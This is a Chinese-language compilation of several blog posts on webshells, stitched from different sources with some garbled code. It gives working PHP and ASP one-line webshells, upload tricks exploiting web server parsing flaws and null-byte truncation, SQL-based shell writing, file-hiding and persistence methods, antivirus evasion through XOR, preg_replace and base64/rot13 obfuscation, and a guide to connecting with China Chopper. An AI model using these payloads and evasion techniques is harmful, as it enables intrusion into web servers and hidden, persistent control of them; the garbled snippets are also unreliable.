精华内容
下载资源
问答
  • webshell

    2021-02-05 14:05:46
    webshell,顾名思义:web在web服务器上,而shell用脚本语言编写的脚本程序,webshell就是就是web的一个管理工具,可以对web服务器进行操作的权限,也叫webadmin。webshell一般被网站管理员用于网站管理、...

    Webshell实现与隐藏探究

    一、什么是webshell

    webshell简介

    webshell,顾名思义:web指的是在web服务器上,而shell是用脚本语言编写的脚本程序,webshell就是就是web的一个管理工具,可以对web服务器进行操作的权限,也叫webadmin。webshell一般是被网站管理员用于网站管理、服务器管理等等一些用途,但是由于webshell的功能比较强大,可以上传下载文件,查看数据库,甚至可以调用一些服务器上系统的相关命令(比如创建用户,修改删除文件之类的),通常被黑客利用,黑客通过一些上传方式,将自己编写的webshell上传到web服务器的页面的目录下,然后通过页面访问的形式进行入侵,或者通过插入一句话连接本地的一些相关工具直接对服务器进行入侵操作。

    webshell的分类

    webshell根据脚本可以分为PHP脚本木马,ASP脚本木马,也有基于.NET的脚本木马和JSP脚本木马。在国外,还有用python脚本语言写的动态网页,当然也有与之相关的webshell。
    根据功能也分为大马与小马,小马通常指的一句话木马,例如:<%eval request(“pass”)%>通常把这句话写入一个文档里面,然后文件名改成xx.asp。然后传到服务器上面。这里eval方法将request(“pass”)转换成代码执行,request函数的作用是应用外部文件。这相当于一句话木马的客户端配置。服务器配置(即本机配置):

    set lP=server.createObject("Adodb.Stream")//建立流对象 lP.Open //打开 lP.Type=2 //以文本方式 lP.CharSet="gb2312" //字体标准 lP.writetext request("newvalue") lP.SaveToFile server.mappath("newmm.asp"),2 //将木马内容以覆盖文件的方式写入newmm.asp,2就是已覆 盖的方式 lP.Close //关闭对象 set lP=nothing //释放对象 response.redirect "newmm.asp" //转向newmm.asp (添入生成木马的内容)

    这里通过提交表单的方式,将木马提交上去,具体的做法是将定义一个对象IP,然后以文本方式写入newvalue里面的内容(newvalue的内容在textarea定义),写入以覆盖的方式产生ASP文件,然后执行这个脚本。其中客户端中的value代表的是表单的名字,必须跟服务端(本机)的post提交中的表单名一样,所以这里的value可以为任意字符,相当于一个密码之类的东西,但是这个‘密码’是明文的,可以截取下来。PHP的一句话原理跟以上的原理差不多,就是语言的差别导致语法不同。这就是小马的基本工作原理。
    大马的工作模式简单的多,他没有客户端与服务端的区别,就是一些脚本大牛直接把一句话木马的服务端整合到了一起,通过上传漏洞将大马上传,然后复制该大马的url地址直接访问,在页面上执行对web服务器的渗透工作。但是有些网站对上传文件做了严格的限制,因为大马的功能较多,所以体积相对较大,很有可能超出了网站上传限制,但是小马的体积可以控制(比如把代码复制很多遍,或者在一个乱码文件中夹入代码),但是小马操作起来比较繁琐,可以先上传小马拿到webshell,然后通过小马的连接上传大马拿到服务器。

    二、如何上传webshell

    1.解析漏洞上传

    现在对于不同的web服务器系统对应的有不同的web服务端程序,windows端主流的有iis,linux端主流的有nginx。这些服务对搭建web服务器提供了很大的帮助,同样也对服务器带来隐患,这些服务器上都存在一些漏洞,很容易被黑客利用。
    (1)iis目录解析漏洞
    比如:/xx.asp/xx.jpg
    虽然上传的是JPG文件,但是如果该文件在xx.asp文件夹下,那个iis会把这个图片文件当成xx.asp解析,这个漏洞存在于iis5.x/6.0版本。
    (2)文件解析漏洞
    比如:xx.asp;.jpg。在网页上传的时候识别的是jpg文件,但是上传之后iis不会解析;之后的字符,同样会把该文件解析成asp文件,这个漏洞存在于iis5.x/6.0版本。
    (3)文件名解析
    比如:xx.cer/xx.cdx/xx.asa。在iis6.0下,cer文件,cdx文件,asa文件都会被当成可执行文件,里面的asp代码也同样会执行。(其中asa文件是asp特有的配置文件,cer为证书文件)。
    (4)fast-CGI解析漏洞
    在web服务器开启fast-CGI的时候,上传图片xx.jpg。内容为:

    <?php fputs(fopen('shell.php','w'),'<?php eval($_POST[shell])?>');?>

    这里使用的fput创建一个shell.php文件,并写入一句话。访问路径xx.jpg/.php,就会在该路径下生成一个一句话木马shell.php。这个漏洞在IIS 7.0/7.5,Nginx 8.03以下版本存在。语言环境:PHP,prel,Bourne Shell,C等语言。

    *注:fast-CGI是CGI的升级版,CGI指的是在服务器上提供人机交互的接口,fast-CGI是一种常驻型的CGI。因为CGI每次执行时候,都需要用fork启用一个进程,但是fast-CGI属于激活后就一直执行,不需要每次请求都fork一个进程。比普通的CGI占的内存少。
    (5)apache解析漏洞
    apache解析的方式是从右向左解析,如果不能解析成功,就会想左移动一个,但是后台上传通常是看上传文件的最右的一个后缀,所以根据这个,可以将马命名为xx.php.rar,因为apache解析不了rar,所以将其解析为php,但是后台上传点就将其解析为rar,这样就绕过了上传文件后缀限制
    2.截断上传
    在上传图片的时候,比如命名1.asp .jpg(asp后面有个空格),在上传的时候,用NC或者burpsuite抓到表单,将上传名asp后面加上%00(在burpsuite里面可以直接编辑HEX值,空格的HEX值为20,将20改为00),如果HEX为00的时候表示截断,20表示空格,如果表示截断的时候就为无视脚本中的JPG验证语句,直接上传ASP。
    3.后台数据库备份
    在一些企业的后台管理系统中,里面有一项功能是备份数据库(比如南方cms里面就有备份数据库的功能)。可以上传一张图片,图片里面含有一句话木马,或者将大马改成jpg格式,然后用数据库备份功能,将这张图片备份为asp等其他内容可以被解析为脚本语句的格式,然后再通过web访问就可以执行木马了,但是这种方法很老了,现在大多数的cms已经把这种备份的功能取消了,或者禁用了。
    4.利用数据库语句上传
    (1) mysql数据库into outfile
    这种方式的前提必须是该网站有相应的注入点,而且当前用户必须要有上传的权限,而且必须有当前网页在服务器下的绝对路径。方法是用联合查询,将一句话木马导入到网站下边的一个php文件中去,然后使用服务端连接该网站。但是上述方法条件过于苛刻,一般遇到的情况很少。
    (2)建立新表写入木马
    一些开源cms或者自制的webshell会有数据库管理功能,在数据库管理功能里面有sql查询功能,先使用create table shell(codetext);创建一个名字叫做shell的表,表里面有列明叫做code,类型为text。然后使用insert into shell(code) values(‘一句话马’),这里讲shell表中的code列赋值为一句话的马,然后通过自定义备份,将该表备份为x.php;x然后就被解析成为php然后执行了,这里不是x.php;x就一定能够解析为php,不同的web服务器上面的服务程序不同,然后过滤规则也不同,可能会使用其他的方式。
    (3)phpMyadmin设置错误
    phpMyadmin用来管理网站数据库的一个工具,其中config.inc.php为其配置文件,在查看的该文件的时候,如果cfg[Servers][cfg[‘Servers’][i][‘auth_type’]参数的值设置没有设置(默认为config)说明在登陆数据库的时候没有做相应的验证,可以直接连入数据库,而且在Mysql在一些版本下面默认登陆都是以root用户进行登陆(即管理员),所以登陆进去为最大权限。但是root一般只能本地登陆,所以必须创建一个远程登陆用户。用远程登陆用户登陆之后,创建一个表,然后再将一句话木马写入。

    三、webshell的“安全”

    1.关于webshell的隐藏
    在上传webshell的时候必须要进行webshell的隐藏工作。隐藏webshell,第一个目的是不让网站管理员发现马将其删掉,第二个目的是为了不被其他的Hacker发现了这个文件并加以利用。
    (1)大马的隐藏
    ①不死僵尸
    windows系统存在系统保留文件夹名,windows不允许用这些名字来命名文件夹保留文件夹:aux|prn|con|nul|com1|com2|com3|com4|com5|com6|com7|com8|com9|lpt1|lpt2|lpt3|lpt4|lpt5|lpt6|lpt7|lpt8|lpt。但是这些可以使用windows的copy命令创建,比如:

    c:>copy 3.asp .\C:\aux.asp

    file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image020.png

    file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image022.jpg

    在c盘中创建一个aux.asp。这个文件无法在图像界面下删除。
    file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image023.png

    要删除必须使用del命令。
    file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image024.png

    删除了之后是没有提示的,但是文件确实没有了。
    当然用这样的方法虽然可以创建一个图形界面无法删除的webshell,但是如果直接放在网页根目录下,被有经验的网管看到还是回删除的。
    ②clsid隐藏
    windows每一个程序都有一个clsid,如果将一个文件夹命名为x.{程序clsid},然后输入一下两条命令:
    file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image026.jpg

    创建后
    file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image027.png

    点开进入的是控制面板,但是其实该文件还是文件夹,里面还存在大马,而且创建一个这样一个带有clsid的文件夹将其命名为相应的程序可以迷惑网络管理员的实现,比如进入回收站文件夹中创建这样一个带有回收站clsid的文件夹,在里面里面再copy一个保留字asp,还可以使用

    attrib +h +s +r +d/s /d

    修改该文件的属性,将其隐藏,一般windows都是默认不显示隐藏文件的,而且回收站文件夹是自动创建的,这样可以达到隐藏一个不死webshell到服务器中去。

    ③驱动隐藏技术
    原理是在于,在windows文件系统中,打开文件夹的时候系统会发送一个IRP_MJ_DIRECTORY_CONTROL函数,这个函数可以分配一个缓冲区,将该文件夹下的子文件夹遍历处理得到的信息存放至缓冲区,在遍历的时候,寻找匹配的文件名,如果文件名匹配,就绕过当前文件夹或者文件,对于绕过的原理,我查询了下代码,根据我的理解,它是根据将遍历的指针在查询到目标文件的时候,加上该文件的偏移量,不扫描目标文件夹,直接跳过。
    对于这种技术的实施,虽然网上很多C的源码,但是操作起来有一定的困难,因为头文件的支持,还有系统的支持(不同系统的文件系统会不同),在网上查找到了Easy File Locker程序,需要将其安装至web服务器上,对目标文件设置权限。

    file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image028.png

    权限的设置有可读accessable,可写writable,可删deletable,可见visible。

    file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image030.jpg

    上图可以看到我们将其隐藏了,如前文所说,因为直接绕过了遍历,那么访问绝对路径却可以访问。我的理解是:

    c:\WINDOWS\xlkfs.dat
    c:\WINDOWS\xlkfs.dll
    c:\WINDOWS\xlkfs.ini
    c:\WINDOWS\system32\drivers\xlkfs.sys

    这4个文件代替了遍历查询,要访问隐藏后的文件,输入绝对路径并不是应用绝对路径查询,而是通过上面4个文件进行的查询,相当于给隐藏文件做了一个单独的驱动。

    为了不被管理员发现,可以将Easy FileLocker的程序删除,但是不能删除上述4个文件。删除程序后,输入绝对路径还是可以访问,就达到了隐藏后门的作用
    ④注册表隐藏
    注册表路径:
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL
    在这个路径下有一个CheckedValue的键值,把他修改为0,如果没有CheckValue这个key直接创建一个,将他赋值为0,然后创建的隐藏文件就彻底隐藏了,即时在文件夹选项下把“显示所有文件”也不能显示了。
    (2)一句话木马的隐藏
    ①头文件包含隐藏
    在web里面的一些脚本文件中,有些文件里面有包含语句,可以利用这种包含方法包含一句话文件,在访问这个页面会直接调用这些一句话。
    asp包含语句:<!–#includefile=”文件路径”–>,直接填入路径,文件路径是web服务器上的路径。
    可以使用站长住手将一句话的NTFS流小马写入图片里面,将路径的‘\’改‘:’写入之后图片是显示不了的,然后找到web服务器上的一个asp文件,在文件的开始部分写上include语句,
    <!–#includefile=”inc:1.jpg”–>。文件包含可以解析NTFS流为asp,包含之后,我们访问那个asp文件就包含了一句话,这样就隐藏了一句话。
    php包含语句:

    <?php include($include);?>

    这里的$include可以是外部路径比如:

    http://www.aaa.com/1.php?Include=http://www.bbb.com/hehe.php
    这个aaa上的1.php内容为

    <?php include($include);?>

    ,表示包含。bbb是外部服务器的,前提是这个服务器不能支持PHP。否则将会在bbb这个服务器上执行hehe.php(即一句话马),而aaa不执行。

    ②配置文件隐藏一句话(PHP)
    在拿到PHP的webshell之后,可以利用php.ini隐藏文件,编辑配置文件,其中一个项功能是将某一个文件的内容添加到任意界面的页眉页脚:
    auto_prepend_file =hehe.php

    然后看
    include_path = “E:\PHPnow-1.5.6\htdocs;”

    这个配置信息表示加载页眉页脚的文集位置,path规则是”\path1;\path2″,表示将path1路径的文件夹下的页眉页脚文件添加到path中的文件中去,因为这里是一个‘.’表示根路径,这里就相当于添加到了主页上面去了,然后hehe.asp文件里面写上一句话,就可以通过php添加页眉的共能,将一句话写入网站首页。
    ③404小马
    404小马在访问的时候显示出来一个404页面不存在的页面,但是实际上木马代码已经执行,一般都是按5次shift可以将它调用出来。

    四、关于webshell的免杀一句话免杀

    1.构造法绕过检测(PHP)

    一般的检测程序会过滤这样”_POST”,”system”,”call_user_func_array”这样的字符,这个时候可以用构造法绕过一些检测程序,基本原理是,php每一个字符都都对应了一个二进制的值,可以采用异或的方式,让马中的一个字符用两个字符异或后的值来代替。
    比如像一下代码

    <?php @$++; // 这里++让’’自加1 $=("#"^"|"); // _ $=("."^"~"); // P $=("/"^"`"); // O $=("|"^"/"); // S $__=("{"^"/"); // T ?>

    然后构造与一句话可以写为

    <?php @$++; $=("#""|").(".""~").("/""`").("|""/").("{"^"/"); // $的值为POST @${$}!$_;?>

    // 结果为
    @$_POST0

    !$_表示1的相反,在语言里面1代表真,反过来就是0(假)
    但是这样的绕过方法相当弱,仔细想一下,就算是两个字符的二进制值异或,但是我们要用某个字符,还是应用那个字符的值,比如

    $__=("#""|").(".""~").("/""`").("|""/").("{"^"/")

    的二进制值与_POST字符的值一样的,要是检测程序会检测二进制码的值,还是会被杀掉。

    2.正则表达式代替法(PHP)

    php中有一个函数preg_replace()函数,这个函数可以实现正则表达式的替换工作。用替换绕过检测系统还需要php脚本语言里面的一个函数特性,函数在调用的时候,如果函数里面的形参赋的值里面含有命令,就会执行这个命令。

    <?php function funfunc($str){} echopreg_replace("/(.+?)/ies",'funfunc("\1")', $_POST["cmd"]); ?>

    上述代码就是替代的一个过程,首先创建一个空函数,然后使用preg_replace函数替换表单cmd中的(这里是html里面表示主题)为funfunc,将post表单中的值写成

    {${phpinfo()}}

    (当然这里的phpinfo()可以换成其他的命令),通过置换,就会变成
    funfunc({${phpinfo()}})

    由于${}可以解析{}中的内容,所以这里的phpinfo就可以顺利执行了。

    3.即时生成法(PHP)

    在使用头文件包含的时候,所包含头文件php很容易被扫描器扫描到,这时候可以使用file_put_content创建一个文件,里面写如php的一句话马。在访问之前先生成马,但是这个函数比较敏感,很容易被杀。

    4.回避法(asp)

    因为有的asp服务器为了防止一句话马,会过滤<%,%>,可以使用:

    <scriptlanguage=VBScriptrunat=server>execute request(“cmd”)

    功能相同,就是换个形式。
    回避特定脚本语言:aspx一句话

    这里使用C#语言写一句话马。

    5.拆分法(asp)

    将<%eval request(“x”)%>拆分为<%Y=request(“x”)%><%eval(Y)%>,虽然绕过的可能性很小,但是也是一种绕过手法,也许有的服务器,做了很多高大上的扫描方式,但是遗漏小的问题。
    还有拆分法加强版:

    <%IfRequest(“MH”)<>"" Then Execute(Request(“MH”))%>
    <%if request(“MH”)<>"“thensession(“MH”)=request(“MH”):end if:ifsession(“MH”)<>”" then executesession(“MH”)%>

    以上两句使用了if一句将其分开,中心思想将敏感字符拆分,因为一般asp特征码为eval(request或者execute(request,拆分了之后检测不到特征码,就直接绕过了。

    6.乱码变形(ANSI->Unicode加密)

    <%eval request("#")%>变形为“┼攠數畣整爠煥敵瑳∨∣┩愾”

    eval(eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))(“brute”))%>

    上面一行代码是采用了ascii加密的方法,chr(114)代表的是ascii中的编号为114个那个字符,即r。上述代码转换后的代码为

    <%eval (eval(request(“brute”))%>

    7.大马免杀

    (1)base4code编码
    大马的免杀可以通过将大马的代码进行压缩,压缩之后在进行base4的加密算法,然后在大马的末尾添加

    @eval(gzinflate(base64_decode($code)));

    就可以执行脚本了。其中,$code变量是用来存放base4的code码,执行的时候先gzinflate解压,在eval执行。其实这种不能真正意义上的免杀,以为base4code和eval还是回被列入特征码行列,在过扫描器的时候同样会被杀掉。
    (2)ROT13编码(php)
    str_rot13是php用来编码的一个函数。可以利用它来编码脚本代码来绕过特征码的检测,比如。
    file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image031.png

    图中的strrev函数是用来反转字符,为了逃过特征码的检测,还特地将字符用’.’号隔开。
    图中3个str_rot13所加密的字符依次是gzinflate,str_rot13,base64_decode,相当于三重加密,而且也回避了gzinflate,base64_decode这两个特征码。但是没有回避str_rot13。有可能有的杀软会将str_rot13也作为特征码。
    ROT13成为回转13,就是讲当前字符在字母表中的位置值减去13对应的字符加密。加密两次就回到原来的值了。但是由于算法固定,加密的强度也不强。而且破解的方式极为简单,只要再加密一边就可以了。
    (3)其他编码
    一般杀软和扫描器都会用特征码来判断是否有病毒,在对大马或者小马,一句话马做免杀处理的时候,一般都会用php或者asp脚本中加密类的函数来加密绕过扫描器(比如base4,rot13等),但是我觉得可以自己编写加密算法,然后使用自己编写的加密算法加密脚本代码就可以绕过一些特征码的。可以使用一些凯撒密码,移位加密等加密手段的思想,写一段加密算法,然后将脚本代码进行加密,然后base4,rot3这样的特征码就会消失,或者可以不那么麻烦,直接用自制的加密算法加密特征码,然后再使用的时候将其解密就行了。
    还可以使用DES,RSA这样的密钥加密算法也可以,一般的大马都会有一个密码的登陆框,可以讲登陆脚本的密码跟解密密钥联动起来,输入正确的密码后才能够解析,一方面是为了逃过扫描器与杀软的查杀,另一方便,这个大马即使被别人拿到了,也无法解密,看到其中的源码。
    五、关于webshell的后门
    一般网上下载的大马或多或少的都会有后门,这些后门直接导致了我们拿的网站被别人顺带拿走了,所以在网上下载的大马必须先检查有没有后门。
    比如这里的万能密码:

    end function
    if session(“hehe”)<>userpassthen
    ifrequest.form(“pass”)<>"" then
    if request.form(“pass”)=userpassor request.form(“pass”)=“1111111” Then
    session(“hehe”)=userpasss
    response.redirect url
    else

    这里

    request.form(“pass”)=userpass

    原本是为了将pass的值进行验证,如果输入的pass值等于userpass的情况,就代表验证成功,但是后面

    orrequest.from(“pass”)=”1111111”

    表示如果输入的pass值为1111111,也可以登录大马。当然,这个地方不可能会这么简单,原作者完全可以把userpass赋值成为两个,添加一个userpass改变的触发条件,在他登录的时候触发这个条件(比如说如果登录失败的时候将触发userpass值的更新),这样就可以添加一个后面,而且触发条件的代码与验证代码分隔的较远,也不好查找,这个时候就需要我们把大马的代码逐行分析。

    然后再用框架挂马:

    这个地方将链接的地址宽度和高度全设置为0,就该页面就隐藏了。里面的“后门地址”指向自己的脚本收信器,最后将收信脚本放到自己搭建的一个公网服务器上面,收信脚本如下:

    <%url=Request.ServerVariables(“HTTP_Referer”)
      set fs=server.CreateObject(“Scripting.FileSystemObject”)
      set file=fs.OpenTextFile(server.MapPath(“hehe.txt”),8,True)
      file.writeline url
      file.close
      set file=nothing
      set fs=nothing
    %>

    其中

    url=Request.ServerVariables(“HTTP_Referer”)

    表示请求的字符转内容,即大马的url地址,然后把url地址保存到当前目录的hehe.txt。

    要提出这种后门首先必须先要破坏大马第二种密码验证,即万能密码。删除相关的功能代码,然后再查找有没有asp大马页面有没有例如width=0 height=0这样的隐藏url,查找出来将其删除。

    接单之隐藏一句话木马
    一般 我们拿到的shell很容易被发现 或者被删除现在教你们 如何隐藏这是利用NTFS流隐藏你的一句话小马,这方法,文件写入后,不容易给发现,隐藏性好! 如下是ASP脚本的例子!NTFS流文件的内容如下 (NTFS流文件 是什么自己百度科普 还有这个只适用于win系统服务器)
    <%
    re= request(“test”)
    if re <>"" then
    execute re
    response.end ‘表示结束,不再处理别的代码
    end if
    %>
    把内容写入如下位置(示例位置)H:\Web\动易\Inc:1.jpg

    Paste_Image.png

    看清楚,是 :1.jpg 不是 \1.jpg文件写入后,H:\Web\动易\Inc 目录里是看不到文件的!
    现在要引导这个一句话文件!格式:<!-#include file=“目录:1.jpg”->
    我随便选一个文件(最好不要自己新建文件,别人容易发现有新文件)H:\Web\动易\Announce.asp

    Paste_Image.png

    添加 <!-#include file=“inc:1.jpg”->
    修改后保存!
    一句话木马隐藏基本完成!当然 H:\Web\动易\Announce.asp 你可以改个一下修改的时间,这样别人就不容易发现有问题!
    还有说一下,2003的流,是可以写入文件也可以写入目录的!你想把一句话马写在目录里也成,文件里也成但建议保存到目录里,因为文件如果修改,流数据将会清空,但目录不会!用菜刀测试成功!

    Paste_Image.png

    Paste_Image.png

    Hacker By T.H.E本文来源:http://www.t00ts.net/post-35.html

    http://www.jb51.net/hack/5833.html

    一.通过SQL注入得到WEBSHELL的原理: N.E.V.E.R的方法:利用数据库备份得到WEBSHELL。创建一个表,在表中建一个字段用来保存木马数据。然后利用MSSQL导出库文件的办法把整个数据导出来,最后再删除新建的表。 分析: N.E.V.E.R利用了MSSQL的备份数据库功能。把数

    一.通过SQL注入得到WEBSHELL的原理:

    N.E.V.E.R的方法:利用数据库备份得到WEBSHELL。创建一个表,在表中建一个字段用来保存木马数据。然后利用MSSQL导出库文件的办法把整个数据导出来,最后再删除新建的表。
    分析: N.E.V.E.R利用了MSSQL的备份数据库功能。把数据导出来,设想数据库中有<%%>之类的ASP标实符,导出文件,文件名以.ASP的形式保存。然后文件又保存在WEB的路径下。那么这个导出的ASP文件是不是要去解释<%%> 之内的语句呢?如果数据库中有的表中有<%%>标实符,并且这之中有错误,那么我们导出来生成的ASP文件也会有误。不过,这种机会也不太大。
    再来看看CZY的方法吧。 CZY的方法:前面的和N.E.V.E.R的方法基本上差不多。只是后面用到了扩展存储过程——sp_makewebtask。这个扩展存储过程的作用就是:可以把MSSQL数据库中的某个表中的记录导出来,以文件的方法保存起来。这种方法就不会出现什么问题原因在于:我们只去读表中的某个字段中的值。把字段的信息导出来生成文件。这个字段中的值都是我们刚加上的。自己在加入数据的时候,先调试一下,没有问题在加入进去,导出来就当然没有问题了。
    以上两位的方法,我都手工测试过。利用SQL注入漏洞,建表,向表中加数据,然后再导出数据,再删除表。都是利用的SQL语句。这里我就不多说了,大家可以看本期的文章。

    二.利用DELPHI去实现功能的前言

    原理都分析过了。我们怎么利用DELPHI来实现他们的手工操作呢?其实方法是非常简单的。DELPHI提供了一个NMHTTP控件。我们利用这个控件就可以向某个特定的URL提交参数。然后实现我们的自动注射功能。我马上要为大家讲解的这个程序,有一个特点。也可以说成是一个缺陷吧。程序不去自动猜解WEB的绝对路径。程序不去判断当前连接SQL数据库的当前账号的权限。我为什么要这么做?因为得到这两者用SQL注入是非常难得到的。所以,我们程序发送命令就不会考虑太多。成不成功你执行完自己去看看生成没有就OK了。

    三.如何利用DELPHI得到WEBSHELL。

    程序中用到的值。我们这里来看看有哪些:URL路径,远程WEB绝对路径(通过其他方法得到,你一定有办法的) 采用什么方法去得到WEBSHELL(也就是两位的方法,你选哪一种)。我们同时要求点击一个按纽开始执行命令,和点击一个按纽来终止命今。最后就是新建的表的名称,以及表的字段名称,再次就是字段的类型。前面的我们在程序中放上输入,选择之类的控件就行了。后面的我们设一个选项按纽点按纽弹出相应设置。再把这些相应的设置用一个RECORD来保存。
    首先,我们在DIT控件。名称分别是:UrlET //URL路径的输入框、ShellPathET //远程木马的位置、CustomBdoorET//自定义木马的位置。再放两个RadioButton用来选择采用什么方式获取WEBSHELL。CAPTION分别取名为: BackUP DataBase 和 WEB作业。然后再放三个SpeedButtion按纽。名称分别是:设置,开始,停止, 最后再放一个MEMO控件。来显示当前添加的信息。到此界面上的工作就做完了。界面如图:
    现在来写程序了。 我们首先定义一个RECORD。 如下:
    Type
    SetOption = Record
    TableName : String; //用来保存要创建的表名.
    FieldName : String; //用来保存要创建的字段名.
    FiledType : String; //用来保存创建的字段名类型.
    End;
    FiledType字段类型的值是以下类型的一种:
    Bigint binary bit char datetime decimal float image int money nchar ntext numeric nvarchar real smalldatetime smallint Smallmoney sql_variant text timestamp tinyint uniqueidentifier varbinary varchar
    这些都是MSSQL字段类型值.
    再定义一个全局变量:
    Var
    ISStop : Boolean; //用来判断用户是否按下了停止按纽.
    好了。在表单创建的过程中,我们为RECORD记录输入默认值.
    代码如下:
    procedure TMainForm.FormCreate(Sender: TObject);
    begin sOption.TableName :=’cyfd’
    sOption.FieldName :=’gmemo’
    sOption.FiledType :=’text’
    end;
    现在我们添加开始执行命令的代码。
    先定义BDoorList 为TstringList。主要目的就是把木马的内容加进来.
    创建两个变量来保存urlET.和ShellPathET的值.方便程序简化调用. 在程序开始执行前,我们得先检查一下用户的输入
    定义一个Checkinput函数.
    如下:
    Function CheckInput : Boolean;
    Begin Result := False;
    if Trim(urlet.Text) = ’’ then
    Begin
    Application.MessageBox(’请输入URL地址!’,’提示’,mb_ok mb_iconinformation);
    Exit;
    End;
    if Trim(ShellPathET.Text) = ’’ then
    Begin
    Application.MessageBox(’请输入文件保存地址!’,’提示’,mb_ok mb_iconinformation);
    Exit;
    End;
    IF DefBDoor.Checked then
    Begin
    if Not FileExists(extractfilepath(Application.ExeName) ’默认木马.txt’) then
    Begin
    Application.MessageBox(’没有找到 [默认木马.txt] 文件!’,’提示’,mb_ok mb_iconinformation);
    Exit;
    End;
    End
    Else if Not FileExists(CustomBdoorET.Text) then
    Begin
    Application.MessageBox(’没有找到所选的木马文件!’,’提示’,mb_ok mb_iconinformation);
    Exit;
    End;
    Result := True;
    End;

    1、webshell有什么作用?

    一方面,webshell被站长常常用于网站管理、服务器管理等等,根据FSO权限的不同,作用有在线编辑网页脚本、上传下载文件、查看数据库、执行任意程序命令等。
    另一方面,被入侵者利用,从而达到控制网站服务器的目的。这些网页脚本常称为WEB
    脚本木马,目前比较流行的asp或php木马,也有基于.NET的脚本木马。
    对于后者我本人是反对的,毕竟人要厚道。

    2、webshell的隐蔽性

    有些恶意网页脚本可以嵌套在正常网页中运行,且不容易被查杀。
    webshell可以穿越服务器防火墙,由于与被控制的服务器或远程主机交换的数据都是通过80端口传递的,因此不会被防火墙拦截。并且使用webshell一般不会在系统日志中留下记录,只会在网站的web日志中留下一些数据提交记录,没有经验的管理员是很难看出入侵痕迹的。

    3、如何防范恶意后门?

    从根本上解决动态网页脚本的安全问题,要做到防注入、防暴库、防COOKIES欺骗、防跨站攻击等等,务必配置好服务器FSO权限。

    展开全文
  • Webshell

    千次阅读 2019-08-25 20:14:31
    webshell,顾名思义:web在web服务器上,而shell用脚本语言编写的脚本程序,webshell就是web的一个管理工具,可以对web服务器进行操作的权限,也叫webadmin。webshell一般被网站管理员用于网站管理、故...

    webshell

    webshell简介:

    • webshell,顾名思义:web指的是在web服务器上,而shell是用脚本语言编写的脚本程序,webshell就是web的一个管理工具,可以对web服务器进行操作的权限,也叫webadmin。webshell一般是被网站管理员用于网站管理、故武器管理等待一些用途,但是由于webshell的功能比较强大,可以上传下载文件,查看数据库,甚至可以调用一些服务器上系统的相关命令(比如创建用户,修改删除文件之类的),通常被黑客利用,黑客通过一些上传方式,将自己编写的webshell上传到web服务器的页面的目录下,然后通过页面访问的形式进行入侵,或者通过插入一句话连接本地的一些相关工具直接对服务器进行入侵操作。
    • webshell根据脚本可以分为PHP脚本木马,ASP脚本木马,也有基于.NET的脚本木马和JSP脚本木马。在国外,还有用python脚本语言写的动态网页,当然也有与之相关的webshell。
    • 小马:一句话木马也称为小马,即整个shell代码量只有一行,一般时系统执行函数
    • 大马:代码量和功能比小马多,一般会进入二次编码加密,防止被防火墙/入侵系统检测到
    shell2.php	#eveal 使用php函数,例如phpinfo();
    <?php eval($_REQUEST['cmd']);?>
    http://192.168.8.134/dvwa/hackable/uploads/shell2.php?cmd=phpinfo();
    

    在这里插入图片描述

    shell3.php  #systeam使用linux系统命令,例如ls,cp,rm
    <?php system($_REQUEST['yangge']);?>
    http://192.168.8.134/dvwa/hackable/uploads/shell3.php?yangge=cat /etc/passwd
    

    在这里插入图片描述

    • 中国菜刀
    <?php @eval('$-PSOT[chopper']);?>
    说明:requesr是在网页端输入变量访问,POST则是使用想中国菜刀之类的工具连接,是C/S架构。
    

    在这里插入图片描述

    展开全文
  • WebShell

    2020-12-11 17:08:35
    在计算机科学中,Shell 俗称壳(用来区别“核”),是指“为使用者提供操作界面”的软件(命令解释器)。类似于windows 系统给的cmd.exe 或者Linux 下bash/sh 等,虽然这些系统的命令解释器不止一种。 WebShell 是...

     

    WebShell

     

    解释

    在计算机科学中,Shell 俗称壳(用来区别“核”),是指“为使用者提供操作界面”的软件(命令解释器)。类似于windows 系统给的cmd.exe 或者Linux 下bash/sh 等,虽然这些系统的命令解释器不止一种。

    WebShell 是一个网站的后门,也是一个命令解释器,不过是以Web 方式(HTTP 协议)通信(传递命令消息),继承了Web 用户的权限。WebShell 本质上是服务器端可运行的脚本文件,后缀名为.php/.asp/.aspx/.jsp 等,也就是说WebShell 接受来自于Web 用的命令,然后在服务器端执行。

     

    分类

    大马

    WebShell 也可以是大马,也就是网站木马。有一类WebShell 之所以叫大马,是因为与小马(一句话木马)区分开,并且代码量较大,但是功能丰富。同样,大马有很多脚本格式,其功能基本相同。渗透测试的每个团队都有自己的定制木马。

    在大马中,我们可以进行文件管理,执行系统命令等,还有一些其他定制功能。

     

    小马

    小马就是一句话木马,因为其代码量比较小,就是一句简单的代码。以下是各个脚本的一句话

     

    #ASP:

    <%eval request("cmd")%>

    #ASP.NET:

    <%@ Page Language="Jscript"%>

    <%eval(request.Item["cmd"],"unsafe");%>

    #PHP:

    <?php @eval($_REQUEST['cmd']);?>

     

    JSP 和 jspx 的一句话木马比较复杂一些

    一句话木马短小精悍,功能强大,但是需要配合中国菜刀或者中国蚁剑客户端使用,中国菜刀是一句话木马的管理器,也是命令操作接口。中国菜刀在连接一句话木马的时候需要填写密码(实际上就是变量名)。例如,我们上传一个php 的一句话木马,密码就是[cmd]。

     

     

    GetShell

    GetShell ,顾名思义就是获取web 的过程。当然任意文件上传是GetShell 的主要方式,但并不是唯一途径

    借用文件上传在web服务器端上传成功木马,可以使用getshell连接工具连接

     

    常用的getshell连接工具

     

    中国菜刀

     

    github项目地址: https://github.com/raddyfiy/caidao-official-version

     

    初始界面

     

    在web服务器根目录下创建testshell.php 一句话木马文件

     

    连接(空白界面右键添加)

    脚本类型可选择: php/asp/aspx

     

    连接成功

     

    文件管理

